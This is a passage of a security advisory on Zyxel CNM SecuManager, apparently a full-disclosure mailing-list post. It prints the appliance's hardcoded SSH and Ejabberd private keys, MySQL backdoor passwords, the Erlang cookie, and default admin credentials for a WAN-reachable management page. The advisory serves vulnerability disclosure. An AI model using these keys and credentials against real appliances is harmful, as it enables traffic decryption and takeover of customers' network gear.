Share
Hello,  
  
Please find a text-only version below sent to security mailing lists.  
  
The HTML version on "Multiple vulnerabilities found in Zyxel CNM  
SecuManager" is posted here:  
https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html  
  
  
=== text-version of the advisory ===  
  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512  
  
  
## Advisory Information  
  
Title: Multiple vulnerabilities found in Zyxel CNM SecuManager  
Advisory URL: https://pierrekim.github.io/advisories/2020-zyxel-0x00-secumanager.txt  
Blog URL: https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html  
Date published: 2020-03-09  
Vendors contacted: None  
Release mode: Full-Disclosure  
CVE: None yet assigned  
  
  
  
## Product Description  
  
The Zyxel Cloud CNM SecuManager is a comprehensive network management  
software that provides  
an integrated console to monitor and manage security gateways  
including the ZyWALL USG and  
VPN Series that can be extended in the future.  
  
Zyxel CNM SecuManager 3.1.0/3.1.1 (Nov 14, 2018) is the latest version.  
  
  
  
## Vulnerabilities Summary  
  
The summary of the vulnerabilities is:  
  
1. Hardcoded SSH server keys  
2. Backdoors accounts in MySQL  
3. Hardcoded certificate and backdoor access in Ejabberd  
4. Open ZODB storage without authentication  
5. MyZyxel 'Cloud' Hardcoded Secret  
6. Hardcoded Secrets, APIs  
7. Predefined passwords for admin accounts  
8. Insecure management over the 'Cloud'  
9. xmppCnrSender.py log escape sequence injection  
10. xmppCnrSender.py no authentication and clear-text communication  
11. Incorrect HTTP requests cause out of range access in Zope  
12. XSS on the web interface  
13. Private SSH key  
14. Backdoor APIs  
15. Backdoor management access and RCE  
16. Pre-auth RCE with chrooted access  
  
Technical Note:  
  
The attack surface is very large and many different stacks are being  
used making it very interesting.  
Furthermore, some daemons are running as root and are reachable from  
the WAN. Also, there is no  
firewall by default.  
  
  
  
## Details - Hardcoded SSH server keys  
  
By default, the appliance uses hardcoded SSH server keys for the main host and  
for the chroot environments as shown below. This allows an attacker to MITM and  
decrypt the encrypted traffic:  
  
root@chopin:/etc/ssh# ls -la /etc/ssh/  
total 176  
drwxr-xr-x 2 root root 4096 Mar 6 2018 .  
drwxr-xr-x 77 root root 4096 Dec 20 2019 ..  
-rw-r--r-- 1 root root 136156 Jan 26 2018 moduli  
-rw-r--r-- 1 root root 1669 Jan 26 2018 ssh_config  
-rw-r--r-- 1 root root 2522 Mar 6 2018 sshd_config  
-rw------- 1 root root 668 Mar 6 2018 ssh_host_dsa_key  
-rw-r--r-- 1 root root 601 Mar 6 2018 ssh_host_dsa_key.pub  
-rw------- 1 root root 227 Mar 6 2018 ssh_host_ecdsa_key  
-rw-r--r-- 1 root root 173 Mar 6 2018 ssh_host_ecdsa_key.pub  
-rw------- 1 root root 1675 Mar 6 2018 ssh_host_rsa_key  
-rw-r--r-- 1 root root 393 Mar 6 2018 ssh_host_rsa_key.pub  
root@chopin:/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done  
1024 80:24:2d:f6:66:d4:db:93:10:bd:0b:ef:bf:78:33:12 root@chopin (DSA)  
256 04:e0:44:00:20:8a:9f:df:b9:01:4a:ba:b0:55:d6:57 root@chopin (ECDSA)  
2048 56:ad:2f:a7:79:83:5b:64:32:d4:05:ce:7a:de:8f:44 root@chopin (RSA)  
root@chopin:/etc/ssh# cat ssh_host_dsa_key  
-----BEGIN DSA PRIVATE KEY-----  
MIIBuwIBAAKBgQCdYajCHQF9wLkG+i88infBPbLkhE3cTTRHCbE5/vQ7/SdSdGH7  
WlNJh9EkTdz17XDJW53y5IRz8SSxC0M3BXszcGQcHqqTtWVIpv08D5WztWYgQctA  
RJDcu1rYZvtPq1qHN6Xo5zbPjvp0JnIT1/SoN1/jB8qIROFNuQPAeBMfiQIVAIqq  
ufhcUfFSN4QJmMIgtpB6sCwnAoGBAIokbAVvxkQJX4yUxwBx0xyHydPLVkNggYkU  
zfWYGxat4acsIwCAHy50k+oUnFxbVy9kp5YpGjp6uEWLegBIGQNBDxKmORp6Zvq7  
MrWMaAL5VK0aJt4DiKQgGz4y2csCwRj6ioifxwBZLXJ+AKv4g7pRwyTDMVl6Gcy/  
McgvCePGAoGAGb3elvsIcuDlbiQ3aCohhOpxLcMhgLblRde+eRJJywvKrat4njJd  
2jAdVvUA6N76sPaxEPl8oQJiZlA76Qp8G6PMYsjJGsD8olGdjOpMNcDLI9wLgAKS  
66DrS4w05RtHV43mb8NAVqC+wxlgwtbY3/A+X0faEOuOkPf3o0UVCi0CFGj4gg+A  
+eDbJtE7Lq5vw8qBFHcq  
-----END DSA PRIVATE KEY-----  
root@chopin:/etc/ssh# cat ssh_host_ecdsa_key  
-----BEGIN EC PRIVATE KEY-----  
MHcCAQEEII/rgKz6KXFYu9gjlaasMA7F4fA5bvy5nYFL+GSDVClSoAoGCCqGSM49  
AwEHoUQDQgAETS0b/mPZ+x/F5NtfKGOkuMvx3AZL6MW9LkV64igIFgb0kUvoGjXx  
f0iXR5Rgtgec6fatdKGYPsRTz3eBzKSNzA==  
-----END EC PRIVATE KEY-----  
root@chopin:/etc/ssh# cat ssh_host_rsa_key  
-----BEGIN RSA PRIVATE KEY-----  
MIIEowIBAAKCAQEA3+4JXEBUNFcdux2oS7s2okKtk2UARJurWGs/nYVs+8vFRBVU  
2lQqTTZkRTAAOPsDByo77BELr/DcYqtMPXBh3FLftrt5Su9pI04caPbL8BoeoOfq  
LUY4nvZfTq/qmClxtp/Azg4Z495vTbMT34llTKcyGIyN7AglESiQ2iKU9BvRAwuN  
xxIDBBmGGNSkyWC+T1ZiiuK8cfN5MgVpDyO6HcgJuaKgH8jjcbCUUizmUKJ7495i  
itXll2uD6/WNHl8gikRNQBg+3Qpb+BEeTkWzaC+XgLADz+w5GQxreXW4T2yh5vtU  
ph9ZT4j8EdEVig72rw6KlGguu6R97UylPHrFMwIDAQABAoIBAADyS53VM8Xo3FpP  
HMf9KZTz/THTSnX/xnCgO2uaBcTmrpXEFVC67FbZNQFJ26ZiAThFiG1OASOkO/o6  
yR61W+SHgSSPlEqpymL40IvtBx2jrp91e3rnghPB7NMzUSWFf1KLSFBWpOtepE/K  
wvm95ey2BDMwXOUzf5yb9EjHvqNtfKVgAqBIM3wdGQ5cN3odYC9hBPVh9SM11IQM  
P0fkOPqgMgQWoX7qOGhfx0lGBidq4XATkBikF8saY19Qc9td379UXyXT2rzHV1zq  
epD9jbzu41DJ6btZReGU+ZzeFl8JFhxjlKaIObglrRxlKuYA1IE0+B5DgL1CBKcD  
ahQVELECgYEA9WW7jDkgy1MTtO9tBM1yuxW7LBwvUkWJQ334IbTcmr2fmBMOZZYl  
4gpxblWDCGJ8tkO1AvLopxputuFE1kBHgeXip0UlhYopK5lybXnMyVgHEipNzhsw  
0qvgCzk+Cc8FUDsHtm1BJkuZREce50mcbEnTLmtbaod8MNT3AfnGHCsCgYEA6Zrb  
jq9faU6FMrPH5BFSeNLVH+FgrmiEVxY8G8mjqThBumY2WIgM/Sg612IJllwYCvq7  
PEkyKCBmpKcKM8zICLxM4AUctuPnhwFsVsAHfXu1sRK059US/EdqHdrVf0Eiyzmj  
LV3zOSPq28TkvVfNkNSe3y4FXsOhc+G+6QoyjxkCgYEAr4MAfY0KeIHFsX4g0fOD  
IG2tfiH2cnhLcVsyUiFCOuZus9zFSkD2fVIMyOYeHqwaGF4ao65KWeHc164MhtRY  
kH5z+kDJUlZ7lbRdFBGuNz9fZ02cclIePD8zsbNSPL+1RCnEHWTM2O/vAdeAMdoD  
J6wxf5zHOE0ItQBMXjxfxhsCgYAWd4VMOMOlXh7jXHUKEzxqUGSc91EUFQs9UO8h  
AQiTesyff7sUUqllI5xdIJmpc1wAmlKtnqCLSWp1xXbuunA2nt2J4hP75vlae6GO  
ylMuF1rHF/R8I3r69mdXTbeg0IPnJbjy4QlGYpTw5APXzf0AQ+Kvtj5f+dKqUXjJ  
8ugf6QKBgDXRRHhFlFlJcDmMV+USaPfF5dcOpEX1PTxeHIPaFjUGBuq4kcT3NUPa  
QJLAS+rg1PMrX6ggStNOSMG2kh7kne2Y38oE0zg9mKnRpP56e9DX/cWF/r1pMSvE  
ceH7BAFV9daHQUoz4ljrsJQnvgVT4DTANpw8zB/7bTwBnD519AZB  
-----END RSA PRIVATE KEY-----  
root@chopin:/etc/ssh#  
  
  
Same problem inside the "Axess" chroot:  
  
root@chopin:/opt/axess/etc/ssh# ls -la  
total 176  
drwxr-xr-x 2 root root 4096 Mar 6 2018 .  
drwxr-xr-x 81 root root 4096 Mar 6 2018 ..  
-rw-r--r-- 1 root root 136156 Mar 6 2018 moduli  
-rw-r--r-- 1 root root 1669 Mar 6 2018 ssh_config  
-rw-r--r-- 1 root root 2489 Mar 6 2018 sshd_config  
-rw-r--r-- 1 root root 668 Mar 6 2018 ssh_host_dsa_key  
-rw-r--r-- 1 root root 601 Mar 6 2018 ssh_host_dsa_key.pub  
-rw-r--r-- 1 root root 227 Mar 6 2018 ssh_host_ecdsa_key  
-rw-r--r-- 1 root root 173 Mar 6 2018 ssh_host_ecdsa_key.pub  
-rw-r--r-- 1 root root 1679 Mar 6 2018 ssh_host_rsa_key  
-rw-r--r-- 1 root root 393 Mar 6 2018 ssh_host_rsa_key.pub  
root@chopin:/opt/axess/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done  
1024 49:73:d6:b0:8e:c0:de:d5:a4:5d:32:0a:2d:83:d9:2f root@chopin (DSA)  
256 53:fa:90:76:ed:9d:bc:28:8c:f4:4c:5e:88:29:f6:85 root@chopin (ECDSA)  
2048 a2:59:77:cf:8c:0b:55:c3:53:a6:3a:fd:ac:d7:70:35 root@chopin (RSA)  
root@chopin:/opt/axess/etc/ssh# cat ssh_host_dsa_key  
-----BEGIN DSA PRIVATE KEY-----  
MIIBugIBAAKBgQDLSttOJ+6RcDH+Lavzzo3+vXNeQiWCyE5XsaxUc++QugyxILRA  
kWskEqtq+E1ZkX5H52lzguxsVVzWSvdII8yDJoHO26X51o/hLeT20LPokOWQgnoT  
eziWd3wEYBYIyko6cBNnQICKFY4JUgo5xVfV4kVFjdqKYM6p5BFyBHSddQIVAOw/  
SpLXgrkXAcQ7nUXdhQcAjbT/AoGAMuwFJlCkAV9GSRfElQZkljMG7/P2svnoN9H1  
XgZ6mCuIQ/8HNcTgkXAuDZ64RL/QGK+ClhGd0xFrsw9+gWtL1L0ZuwoGcNj2iaZO  
h49SoS6IJ+sFb6cHApXrgBgZv0O4FbpL8o5Tl6U2L0i3mlCXMGUSFAzpFTjwxcYG  
fDnzrKoCgYBNcFwsJtr5ElvfUHwKoyXZ0xT3PswzL4VCSD9SAASI8VhT2LdYTk7Z  
/0q4E9rUPZP4BNehb9juxGNqjW0wcXNnr0VDuN0vz2Vv+nKG6u8KIc1RbKs8J9H5  
zzHRidPZLVdU0vVRrM/1kVvIFlZpnl9Ybuz2Ra5ZHPFhJ4SoqbHFRgIUBX+oAX4Z  
ffkRUot9igOsNx6txoU=  
-----END DSA PRIVATE KEY-----  
root@chopin:/opt/axess/etc/ssh# cat ssh_host_ecdsa_key  
-----BEGIN EC PRIVATE KEY-----  
MHcCAQEEIGYB3fxcDt1ket4FRhbFKtqHcQ4K8HPnkAgmvP6hj8InoAoGCCqGSM49  
AwEHoUQDQgAE116tsZ+HvPjDY4VvgN76fP/XF6DMUd75vY5DqVR2Av68KSUh5Ns9  
yhOyfcNB89XBABE2VpM4h0yljhqwFASQCQ==  
-----END EC PRIVATE KEY-----  
root@chopin:/opt/axess/etc/ssh# cat ssh_host_rsa_key  
-----BEGIN RSA PRIVATE KEY-----  
MIIEpQIBAAKCAQEAyaNk4eTtEKfkcpTQaxB/LL2A/XQhljt1UF22yJUYXh0VJCCJ  
SNn36QbNOeI9qsaohlFobaM1ithKyp6rQbZzzw/Jg7W76hA1NLSqbNS7mgg6bD1X  
5/M81OJjjQ9iXUXx7/XrT/Of34QMvOjfKsOmtMsUYbk9Qf9G0so58yYGlNMSKNZb  
6O4flsztM1LIPYXLZV4uQrV9BjUhSpumvYGc93fw88V5fYEYfGcF0pUVEfBvgGvZ  
50558GR+A1LF6IdVbmViAZ6HgxiMaM85F2h7QBbt3SrNOfTO481EBD4j7ipnBpJM  
KuRPQQH7KxKEzi8VaE4qVU0eZcIGeMeRr0prnwIDAQABAoIBAAohsKb9FsBYf00W  
lyZaDNnVp86UcD+ZOzrPiqinfTL1aSOIkv1bHm7SDavT519WXg9ptcKUidMxLQjj  
Uh2aKlWEKI76qbeIGvRMA6g2RDroIO9hYbJg8XSM742d8UZYhmCVTb6VsjnL68vu  
M5B1hkHdVmfWo/JV/lwHF0RVa808eulp96xjvHEoHziVFKCXEsS1UDl6h2/+oI1n  
5oIPGn7JTU1zGkpf53oDZla0GiO76JtYadGn4NU7g6Y1O3xweqgzKDJlIJhC5rL7  
8Rn9Tef1YmjCL+Nhz6fMqkeFMWkaY8HvONyVsulv4qJoCKYKdXzp/vdf+rkKApuq  
mTNxSkkCgYEA95y6gCSo1d/plJijGJdD1NT/BS/yMbq78VaIwx/8hHEkKXVedfdk  
hEvh8eBxjnkogR3fgPEQSfyu2N4CEYVTdJS72+4hgNRgMDW8ToawqkHnuBfH2+Wp  
kFqiw9rPsE5I/MsngSXOVBPipQWk+5HKNlN8AcD7stefuHjmTPrAJfUCgYEA0Hf7  
vqn2ZO6Vk3oW6NB+fshWsSK4BzskkB21I/zcMzLFla5qJMKAQQNwmtFgLPl8kvEz  
ZkAK1yneKDz1JmF+vC594WDkk9RO3oB0KcYYJSplccaVgGfUiAfvpRMBYwrx6CWS  
2GgBkxIpg9XE/XPQlDAl5P5wMqXJtS/AjMSEOsMCgYEAtf0Tdit7i/ZOj1DATsqe  
qEcESKO8tqAwkmivi/pudklR8sa47qstza6YGlaEH9sc0glKxFJpTnfRasOBca80  
b3MBv9t99FojeEuGY5DLN9fIn52a3xwlTFvRVXH1Q/fF3UbTejB3PYSACBnl8KBu  
pw8lDYTxebjRQ5xYaCvEHiECgYEAmInSyRZwVjZFeF3zeXNlu7s3w/FVmuTpwhIa  
wzR4o3XZIcc3n6I6Wlf8AyyFJSOAxbx8Eat2wy29gs/nyae5JlUWgt11I75L3386  
gH6UmE1HYVMffY978fVsousfLquJioZDxtmDnWvCuNaoh5RA4M3CTKbozgaFa3B/  
ggEhiCUCgYEAhcuDPqDYZpDW5pvgLSfb8WmfxMKZqMffrIdjBhMjWSqlY5+M8EHC  
7ufXlwa2v2bNmBZCtHYWSAM06lBhEwxW/cDo29V9ncA0kCiwYVKYuof27ziExp1A  
530+t7PjU4CKCaNzVcuW9ivQ0HkBnMNAqHGR0lOSBk4Qfizfz2wzLD8=  
-----END RSA PRIVATE KEY-----  
root@chopin:/opt/axess/etc/ssh#  
  
It should be noted the private keys are using wrong permissions and  
are world-readable (644).  
  
  
Same problem again in the "mysql" chroot:  
  
root@chopin:/opt/mysql/etc/ssh# ls -la  
total 156  
drwxr-xr-x 2 root root 4096 Mar 18 2015 .  
drwxr-xr-x 66 root root 4096 Mar 6 2018 ..  
-rw-r--r-- 1 root root 125749 Apr 3 2014 moduli  
-rw-r--r-- 1 root root 1669 Apr 3 2014 ssh_config  
-rw-r--r-- 1 root root 2453 Mar 18 2015 sshd_config  
-rw------- 1 root root 668 Mar 18 2015 ssh_host_dsa_key  
-rw-r--r-- 1 root root 601 Mar 18 2015 ssh_host_dsa_key.pub  
-rw------- 1 root root 1679 Mar 18 2015 ssh_host_rsa_key  
-rw-r--r-- 1 root root 393 Mar 18 2015 ssh_host_rsa_key.pub  
root@chopin:/opt/mysql/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done  
1024 3e:46:e9:be:c0:8c:ba:dc:46:3a:3f:22:4f:77:0b:ae root@chopin (DSA)  
2048 da:b5:27:e4:80:da:4e:18:cf:b9:52:49:2c:72:e2:ce root@chopin (RSA)  
root@chopin:/opt/mysql/etc/ssh# cat ssh_host_dsa_key  
-----BEGIN DSA PRIVATE KEY-----  
MIIBuwIBAAKBgQDWqnzU+ljijXqKw5vEG+p6euc73+CrIDP+JAqvD6udBLe8ojDi  
8l3N8l4BxXKcTwGAEeHQMMtPthNvPrO4IMVdf9Z/3mhRhX9x7NB/Fm7JrCjDwY4c  
x8R+inJk9y86ow7fUodKfN9nt5Zh6FsfPs/0vq4Mg2MLjUkiau3UQy7mhQIVAOCr  
fau8ONhgh8vCPvw8mIVIJnmbAoGAEqWt4/b1D7Fevf3b2afmMt02zUDNIvlxJjhL  
EcG4Q6FxT0WwKIdBGDeOaB7gGR7acWvfr5yrMhQLgvAWMhdlkG0UY4Q/2Kh0PR1p  
D4ZMssaxHnt/EprT+GxZfy4e9MhK3RwdeYCSwfvbcIKznFbHv+AUDZ6j/KRpU1e/  
Pi//Yl8CgYBCt5jPU0bIymiXaX3FnDNBoydI9lmU0z8qVDDp49vZdOJnemtzU7d5  
4k8UGOoBSZ12PC+W0ZNJNH5jWA2DV5+Pajq+UsYW6JHog8PMHmdLDo6+yF96avsE  
8bGrSWqSV0NZ8g7NVRasuajJVZHoe1gpENTvd+LxbKHiv7f4bvqGQwIVAMS7rCpe  
UyV29YpCEwVrL5CXEAeW  
-----END DSA PRIVATE KEY-----  
root@chopin:/opt/mysql/etc/ssh# cat ssh_host_rsa_key  
-----BEGIN RSA PRIVATE KEY-----  
MIIEpAIBAAKCAQEAvnS8NXGuXVlFTmotghmZgNE3weboUbqiUjznYqZlaIbvhvS5  
GYlVZMYgtEj4y2+perz9wuvdv8/M+it3cc4XfQdpASY1niL/P5M304tD+9ah/z3A  
VD1OxDRevC7LQlkXOFJrlQ5RRTR1cmChsLWi9zEFbDSzJy9anZk+U/uQSQZsy71O  
0ZntWSkjnH79+OA6GqKJ5S9PNhqaFWmB76kBbf21iWki2acIErhGg9ThnmR0vFRy  
/QqeH8P83RDXYzd0nkLgxjL3GNI+Y/Dw+h6ks0zNoGIGfE1QsFc3gtkv8B28uomV  
fTo5xLS+/UKKmZnCq0UPC3cElskhAtYMYfZgkQIDAQABAoIBADnl3O1WUM55+/K5  
nnoFdD/P2mZs3sUxunTLpP+9W+ip1JkvPjIAKOCIxppn8JJPsLLqTy55a6EK9+I5  
YodLQqK0pPw/dF9NflECXR9HH/SoK/ke+Z/iP1awIPiONSZHVSK/E4ttndEvAGEz  
9RN2NEN3OJHLd4b7A04Trvny6Mr5zYe6bXgLK7DZRzE+dAUVIP4XVltdFh26KlhG  
UvO2ihU+Tuz9AxhP3+UIgndMMsFhxk52ItBobCSts5WzPrzZs+QWXmoS6gcWnYU7  
3LohV9Kn8lpDiu/lB7dQz/awyWaEKOf1U+p473qmH53+HahT50Apj27djtF4lvEx  
Lfv8ct0CgYEA6wMyHEzVh0OLJNJ2J3RgebsfukTigM8QQqMKWqUep55/66W/85QL  
mejFd2ipOJZF/VV/fqw+ocK8Z9ztlW2S0O3JRC29Gs7icwvUnErr0g7k5Xs3m61N  
pteRH1ATxW+bX12I9BWpQv6jMZcR1xXNz4yn0XSumZz/vZ7ABxntR6sCgYEAz3bm  
FECHPRtzg68/eHPbZ+A+3sD7vuH7AuD1X6yWozWgdE7aGf0wG+CFerNQBgqkv1R6  
JMOT/lqQg/T8j/EWuGfIQcHHso2/ePSPl08YsAaXdmy2f+OSNC4CqdCeBLRgFvjt  
gxhge8iunu/tWUsB9iAiBPS2bsQVX+ymDE7TzLMCgYEAi39BHmVJFdo03K2EbtT4  
cylsos9Ct3yxRSyr97QtZweBHOos7zOAU2JE3CUm1Sz17HL0k8dAAhqqZOhRqjH5  
RMTwg+S2bBRDfFCYahFauzwWCFVEY8bR4efw/2oz4izmSAwoP+Ifr2Ggks3+S/Jo  
UPtHnd+pyArWDsMNbumn27MCgYApOpe+rpQxsKLkKI+UgHG50varje55oK8hg1NA  
ECxfgujANGtjfs1wvM3J9JiSmsriuwcLB1MB2T2e+7C1alP5kaZaawgkk8bZYsCm  
cTGWybiP8ErUX4VOmVYuKSc+CBqQdie9Rbrm3prVOxkQBbf+EaSxF3Cp0o3s4jqd  
d4zfwQKBgQDeZmWqkMX/vmwV4GzgV2FRNcVry5nNWlt6wroF7DEuA7WGAZVRSBx0  
nPzDkq3jorJEzXBmIwMNy3IN5NIdin/GSxbMMwx7JvKaPVKw5GubmICO/T9hVurJ  
2RnfOAuZaMQ1bZSD49jEV30cxBM/gPORyyAHGrlyG2kHoXan5aDcHQ==  
-----END RSA PRIVATE KEY-----  
root@chopin:/opt/mysql/etc/ssh#  
  
  
Hopefully, the root account has been disabled in the /etc/shadow file  
(`1234` is the password if the account is re-enabled).  
  
The management access using the `secu_manager` user is still  
vulnerable to MITM/decryption.  
  
  
  
## Details - Backdoors accounts in MySQL  
  
MySQL is pre-configured with several static accounts. It only listens  
to the loopback interface.  
  
Credentials:  
  
root / axiros  
root / axiros from 61.222.86.79 / zyadb79.zyxel.com.tw (HINET-NET, Taiwan)  
root / axiros from 118.163.48.108 / 118-163-48-108.HINET-IP.hinet.net  
(HINET-NET, Taiwan)  
root / axiros from localhost  
root / axiros from chopin (127.0.0.1)  
livedbuser / axzyxel  
zyxel / ?? (hash: B149E2C1869FF94FD5ED8F2C882486599B4CF8E4)  
  
The access have been extracted from the previous mysql history file  
and several configuration files:  
  
GRANT ALL PRIVILEGES ON *.* TO 'root'@'61.222.86.79' IDENTIFIED BY 'axiros';  
GRANT ALL PRIVILEGES ON *.* TO 'root'@'118.163.48.108' IDENTIFIED  
BY 'axiros';  
INSERT INTO `user` VALUES  
('localhost','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]  
('chopin','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]  
('127.0.0.1','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]  
('localhost','debian-sys-maint','*D000798D1C7EC350F7AA4E44B2D68A0770B85194',[...]  
('127.0.0.1','livedbuser','*42D02F8D1F74B2F0252592EFFCE69BEEE35FA06B',[...]  
('127.0.0.1','zyxel','*B149E2C1869FF94FD5ED8F2C882486599B4CF8E4',[...]  
('118.163.48.108','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]  
('61.222.86.79','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]  
('%','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',[...]  
  
These passwords are hardcoded by the vendor and used everywhere:  
  
- From collectd:  
  
<Plugin mysql>  
<Database live>  
Host "127.0.0.1"  
User "livedbuser"  
Password "axzyxel"  
Port 3306  
Database "live"  
</Database>  
</Plugin>  
  
- From Axess TR-069 solutions:  
  
root@chopin:/opt# cat  
/opt/axess/etc/axess/TR69/Managers/_live/asynch/mysqlCPEStorage/db.txt  
[...]  
server=127.0.0.1  
port=3306  
tablename=CPEManager_CPEs  
[...]  
user=livedbuser  
password=axzyxel  
[...]  
  
root@chopin:/opt/axess/opt/axess/zyxel# cat zodb_checkout.sh | grep root  
mysqldump -h 127.0.0.1 -u root -paxiros live ScenarioObjects >  
/opt/axess/zyxel/zyxel_customizations/dbdumps/policies_table.sql  
mysqldump -h 127.0.0.1 -u root -paxiros live axalarm_handlers >  
/opt/axess/zyxel/zyxel_customizations/dbdumps/alarms_table.sql  
mysqldump -h 127.0.0.1 -u root -paxiros live  
AXServiceDefinitionTable >  
/opt/axess/zyxel/zyxel_customizations/dbdumps/services_table.sql  
mysqldump -h 127.0.0.1 -u root -paxiros --no-data live  
CPEManager_CPEs >  
/opt/axess/zyxel/zyxel_customizations/dbdumps/cpes_table.sql  
  
And from various places inside Python code:  
  
/opt/axess/opt/axess/Extensions/recreate_all_realm.pyc  
db = MySQLdb.connect(host='127.0.0.1', user='root',  
passwd='axiros', db=cnmid)  
  
Also the system account `debian-sys-maint` is using a non-editable  
hardcoded password `wbboEZ4BN3ssxAfM`:  
  
root@chopin:/opt/mysql/etc/mysql# cat debian.cnf  
# Automatically generated for Debian scripts. DO NOT TOUCH!  
[client]  
host = localhost  
user = debian-sys-maint  
password = wbboEZ4BN3ssxAfM  
[...]  
host = localhost  
user = debian-sys-maint  
password = wbboEZ4BN3ssxAfM  
[...]  
  
  
  
## Details - Hardcoded certificate and backdoor access in Ejabberd  
  
Ejabberd is used to manage all the CPEs connected through TR-069.  
  
The Ejabberd process uses an hardcoded certificate along with a private key:  
  
root@chopin:/opt/production_xmpp/etc/ejabberd# cat ejabberd.cfg  
[...]  
{5222, ejabberd_c2s, [  
{access, c2s},  
{shaper, c2s_shaper},  
{max_stanza_size, 65536},  
%%zlib,  
starttls, {certfile, "/etc/ejabberd/ejabberd.pem"}  
]},  
[...]  
  
Content of `ejabberd.pem`:  
  
root@chopin:/opt/production_xmpp/etc/ejabberd# cat ejabberd.pem  
-----BEGIN RSA PRIVATE KEY-----  
MIICXwIBAAKBgQDppPTghA6irhkzfDA1PyDV/cJzjN946mUV2uq4PiI3Uk5gaIZZ  
15CV1rPKKxH1UguIfNHTFfyHC0Td478IprCYuiWE6Yw/5/NTc0pHkW3MeYllc711  
R6ZtKTYbn3n5HbmHJzluuBm8qWdgyO2HAG0l1uf5P29Nerra0LMj8MKULwIDAQAB  
AoGBAJfMH3ja83NIL4FetydxC1FcnABczzgM+X34jDUF0U8l/1vtrRQj1IE1S/wW  
fYVoN6wGhIBjMX0/mg+bjxr8yZBCp96XZCu/POqNqOHPvvFrFryGSzqh/LkG0+tG  
ojXjIpYd+Y6eTz2Fj2DPRyczaGJod1SxUz41v92GiyWGTFnhAkEA/Z8Dhxhu8ZNK  
nBl+lkE6X0tCZ0kn1Hkq8zIKWVvSsu859u7t7+5/LoBRYkqx0FwoPl2+uBY6BtQV  
0AQT/S5d3wJBAOvV+ad1JnGO6gMEnAdtwv0fvBlUB1arisI+CbgUOf9PgPITwEFQ  
CvQWktVB8NjjxdaTtYskYvK4NU4SIKCH87ECQQDRcEcRgPPdOq0aS1Nl8Weq2hN0  
B82EgKsfOeuh71oHudY8PQLwaBtO41hRuy0ry27QUcn1ayVwDiQVK8j2AxwxAkEA  
1oLTyYCijiobKtGXhp5M/OZPto4a+refyBybxIcJVfQf6pESj5XZ0Llzp2yKQQ21  
Fv9V4xEeu33YZoHQkZP3kQJBALJPeT67cR8H7k4FdGXFh6vJdNILZ/91ac9cFZf3  
ZjabcZWnSgn1QD9ARV/Cd2dsX3xGY4vuoM4hvwjHKAMWHhg=  
-----END RSA PRIVATE KEY-----  
-----BEGIN CERTIFICATE-----  
MIIDEDCCAnmgAwIBAgIJAPvsRdD6v5ITMA0GCSqGSIb3DQEBBQUAMGQxFTATBgNV  
BAoTDHp5eGVsLmNvbS50dzEPMA0GA1UECxMGY2hvcGluMREwDwYDVQQDEwhlamFi  
YmVyZDEnMCUGCSqGSIb3DQEJARYYcm9vdEBjaG9waW4uenl4ZWwuY29tLnR3MB4X  
DTE1MDQxMzE2MzIxNFoXDTE2MDQxMjE2MzIxNFowZDEVMBMGA1UEChMMenl4ZWwu  
Y29tLnR3MQ8wDQYDVQQLEwZjaG9waW4xETAPBgNVBAMTCGVqYWJiZXJkMScwJQYJ  
KoZIhvcNAQkBFhhyb290QGNob3Bpbi56eXhlbC5jb20udHcwgZ8wDQYJKoZIhvcN  
AQEBBQADgY0AMIGJAoGBAOmk9OCEDqKuGTN8MDU/INX9wnOM33jqZRXa6rg+IjdS  
TmBohlnXkJXWs8orEfVSC4h80dMV/IcLRN3jvwimsJi6JYTpjD/n81NzSkeRbcx5  
iWVzvXVHpm0pNhufefkduYcnOW64GbypZ2DI7YcAbSXW5/k/b016utrQsyPwwpQv  
AgMBAAGjgckwgcYwHQYDVR0OBBYEFE1fcSfVUJtFKuVzIr7Ps8lasbKYMIGWBgNV  
HSMEgY4wgYuAFE1fcSfVUJtFKuVzIr7Ps8lasbKYoWikZjBkMRUwEwYDVQQKEwx6  
eXhlbC5jb20udHcxDzANBgNVBAsTBmNob3BpbjERMA8GA1UEAxMIZWphYmJlcmQx  
JzAlBgkqhkiG9w0BCQEWGHJvb3RAY2hvcGluLnp5eGVsLmNvbS50d4IJAPvsRdD6  
v5ITMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADgYEAECFhOm4y+Ad31tXd  
Nfl2XyU5g6arxLMlrH2sSUcne2EkRNUZsKoEM0MkLUir7oBDqf+gd9dC92zF7qrr  
iaeOrMVtFpNu3lBx/YSubhENDyegalWT8zi4TYdxz2ehExGpl0SRjhtrdqs99R+2  
gm711P4aV1TQaC+WMpkIP6eyIMM=  
-----END CERTIFICATE-----  
  
Also, the management webservice is reachable on the WAN interface on  
port 5280/tcp.  
It allows to list accounts (linked to CPEs) and remove them.  
The authentication is using hardcoded credentials:  
  
http://[ip]:5280/admin/  
  
An attacker can visit the administration, manage all the CPEs using the default  
credentials (`a1@chopin` / `cloud1234`) and create some havoc:  
  
http://[ip]:5280/admin/vhosts/  
  
These credentials are hardcoded inside  
`/opt/axess/opt/axXMPPHandler/config/xmpp_config.py`:  
  
XMPP_PORT = 5222  
XMPP_SERVER = "127.0.0.1"  
XMPP_JID = "a1@chopin"  
XMPP_PASS = "cloud1234"  
  
Also, the permissions of this file are wrong and this file is world-readable  
  
root@chopin:~/pre-auth-rce-4# ls -la  
/opt/axess/opt/axXMPPHandler/config/xmpp_config.py  
-rw-r--r-- 1 root root 1738 Mar 6 2018  
/opt/axess/opt/axXMPPHandler/config/xmpp_config.py  
  
Also, the shared secret for ejabberd replication, called the Erlang  
cookie, is hardcoded:  
  
root@chopin:/opt/production_xmpp/var/lib/ejabberd# hexdump -C .erlang.cookie  
00000000 42 41 4b 56 41 55 48 4d 51 52 49 53 49 4a 59 55  
|BAKVAUHMQRISIJYU|  
00000010 45 56 4d 4b |EVMK|  
00000014  
  
  
  
## Details - Open ZODB storage without authentication  
  
